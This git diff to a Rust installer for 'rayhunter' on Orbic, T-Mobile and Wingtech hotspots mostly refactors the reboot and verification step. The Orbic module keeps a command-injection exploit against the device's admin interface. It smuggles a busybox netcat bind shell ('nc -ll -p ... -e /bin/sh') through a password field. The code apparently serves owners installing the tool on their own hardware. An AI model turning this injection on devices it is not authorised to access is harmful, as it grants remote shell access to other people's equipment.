diff --git a/installer/src/orbic_network.rs b/installer/src/orbic_network.rs index f5f537c..5abf409 100644 --- a/installer/src/orbic_network.rs +++ b/installer/src/orbic_network.rs @@ -107,7 +107,7 @@ async fn login_and_exploit(admin_ip: &str, username: &str, password: &str) -> Re } // Step 4: Exploit using authenticated session - let response: ExploitResponse = client + let exploit_result = client .post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip)) .header("Content-Type", "application/json") .header("Cookie", authenticated_cookie) @@ -116,14 +116,27 @@ async fn login_and_exploit(admin_ip: &str, username: &str, password: &str) -> Re r#"{{"password": "\"; busybox nc -ll -p {TELNET_PORT} -e /bin/sh & #"}}"# )) .send() - .await - .context("failed to start telnet")? - .json() - .await - .context("failed to start telnet")?; + .await; - if response.retcode != 0 { - bail!("unexpected response while starting telnet: {:?}", response); + match exploit_result { + Ok(resp) => { + // Try to parse response but don't fail if the server closed the connection + match resp.json::().await { + Ok(response) if response.retcode != 0 => { + bail!("unexpected response while starting telnet: {:?}", response); + } + Ok(_) => {} + Err(_) => { + // Server likely crashed from the injection which is expected + } + } + } + Err(e) if e.is_connect() => { + bail!("failed to connect to admin interface at {admin_ip}: {e}"); + } + Err(e) => { + eprintln!("exploit request failed ({e}), continuing anyway"); + } } Ok(()) diff --git a/installer/src/tmobile.rs b/installer/src/tmobile.rs index 00c19e1..941f720 100644 --- a/installer/src/tmobile.rs +++ b/installer/src/tmobile.rs @@ -13,7 +13,7 @@ use tokio::time::sleep; use crate::TmobileArgs as Args; use crate::output::{print, println}; -use crate::util::{http_ok_every, telnet_send_command, telnet_send_file}; +use crate::util::{reboot_and_verify, telnet_send_command, telnet_send_file}; use crate::wingtech::start_telnet; pub async fn install( @@ -92,20 +92,7 @@ async fn run_install(admin_ip: String, admin_password: String) -> Result<()> { ) .await?; - println!("Rebooting device and waiting 30 seconds for it to start up."); - telnet_send_command(addr, "reboot", "exit code 0", true).await?; - sleep(Duration::from_secs(30)).await; - - print!("Testing rayhunter ... "); - let max_failures = 10; - http_ok_every( - format!("http://{admin_ip}:8080/index.html"), - Duration::from_secs(3), - max_failures, - ) - .await?; - println!("ok"); - println!("rayhunter is running at http://{admin_ip}:8080"); + reboot_and_verify(addr, "reboot", &admin_ip).await; Ok(()) } diff --git a/installer/src/util.rs b/installer/src/util.rs index 6b5f5e1..131dc55 100644 --- a/installer/src/util.rs +++ b/installer/src/util.rs @@ -1,3 +1,4 @@ +use std::io::IsTerminal; use std::net::SocketAddr; use std::str::FromStr; use std::time::Duration; @@ -206,30 +207,49 @@ pub async fn send_file(admin_ip: &str, local_path: &str, remote_path: &str) -> R Ok(()) } -pub async fn http_ok_every( - rayhunter_url: String, - interval: Duration, - max_failures: u32, -) -> Result<()> { - let client = Client::new(); - let mut failures = 0; - loop { - match client.get(&rayhunter_url).send().await { - Ok(test) => match test.status().is_success() { - true => break, - false => bail!( - "request for url ({rayhunter_url}) failed with status code: {:?}", - test.status() - ), - }, - Err(e) => match failures > max_failures { - true => return Err(e.into()), - false => failures += 1, - }, +pub async fn reboot_and_verify(addr: SocketAddr, reboot_command: &str, admin_ip: &str) { + println!("Installation complete. Rebooting device..."); + let _ = telnet_send_command(addr, reboot_command, "", true).await; + + if std::io::stdin().is_terminal() { + println!( + "The device is rebooting. You will need to reconnect to the device's WiFi network." + ); + print!("Once you've reconnected, press Enter to verify the installation: "); + let mut input = String::new(); + let _ = std::io::stdin().read_line(&mut input); + + print!("Verifying rayhunter ... "); + sleep(Duration::from_secs(5)).await; + + let client = Client::new(); + let url = format!("http://{admin_ip}:8080/index.html"); + let mut success = false; + for _ in 0..5 { + if let Ok(resp) = client.get(&url).send().await + && resp.status().is_success() + { + success = true; + break; + } + sleep(Duration::from_secs(3)).await; } - sleep(interval).await; + + if success { + println!("ok"); + println!("rayhunter is running at http://{admin_ip}:8080"); + } else { + println!("could not reach rayhunter."); + println!( + "The device may still be booting. Check http://{admin_ip}:8080 in a minute or two." + ); + } + } else { + println!( + "Device is rebooting. Check http://{}:8080 after it finishes booting.", + admin_ip + ); } - Ok(()) } /// General function to open a USB device diff --git a/installer/src/wingtech.rs b/installer/src/wingtech.rs index ae84e46..f175fc7 100644 --- a/installer/src/wingtech.rs +++ b/installer/src/wingtech.rs @@ -1,3 +1,13 @@ +use crate::WingtechArgs as Args; +use crate::output::{print, println}; +use crate::util::{reboot_and_verify, telnet_send_command, telnet_send_file}; +use aes::Aes128; +use aes::cipher::{BlockEncrypt, KeyInit, generic_array::GenericArray}; +use anyhow::{Context, Result, bail}; +use base64_light::base64_encode_bytes; +use block_padding::{Padding, Pkcs7}; +use reqwest::Client; +use serde::Deserialize; /// Installer for the Wingtech CT2MHS01 hotspot. /// /// Tested on (from `/etc/wt_version`): @@ -6,20 +16,6 @@ /// WT_HARDWARE_VERSION=89323_1_20 use std::net::SocketAddr; use std::str::FromStr; -use std::time::Duration; - -use aes::Aes128; -use aes::cipher::{BlockEncrypt, KeyInit, generic_array::GenericArray}; -use anyhow::{Context, Result, bail}; -use base64_light::base64_encode_bytes; -use block_padding::{Padding, Pkcs7}; -use reqwest::Client; -use serde::Deserialize; -use tokio::time::sleep; - -use crate::WingtechArgs as Args; -use crate::output::{print, println}; -use crate::util::{http_ok_every, telnet_send_command, telnet_send_file}; #[derive(Deserialize)] struct LoginResponse { @@ -145,20 +141,7 @@ async fn wingtech_run_install(admin_ip: String, admin_password: String) -> Resul ) .await?; - println!("Rebooting device and waiting 30 seconds for it to start up."); - telnet_send_command(addr, "shutdown -r -t 1 now", "exit code 0", true).await?; - sleep(Duration::from_secs(30)).await; - - print!("Testing rayhunter ... "); - let max_failures = 10; - http_ok_every( - format!("http://{admin_ip}:8080/index.html"), - Duration::from_secs(3), - max_failures, - ) - .await?; - println!("ok"); - println!("rayhunter is running at http://{admin_ip}:8080"); + reboot_and_verify(addr, "shutdown -r -t 1 now", &admin_ip).await; Ok(()) }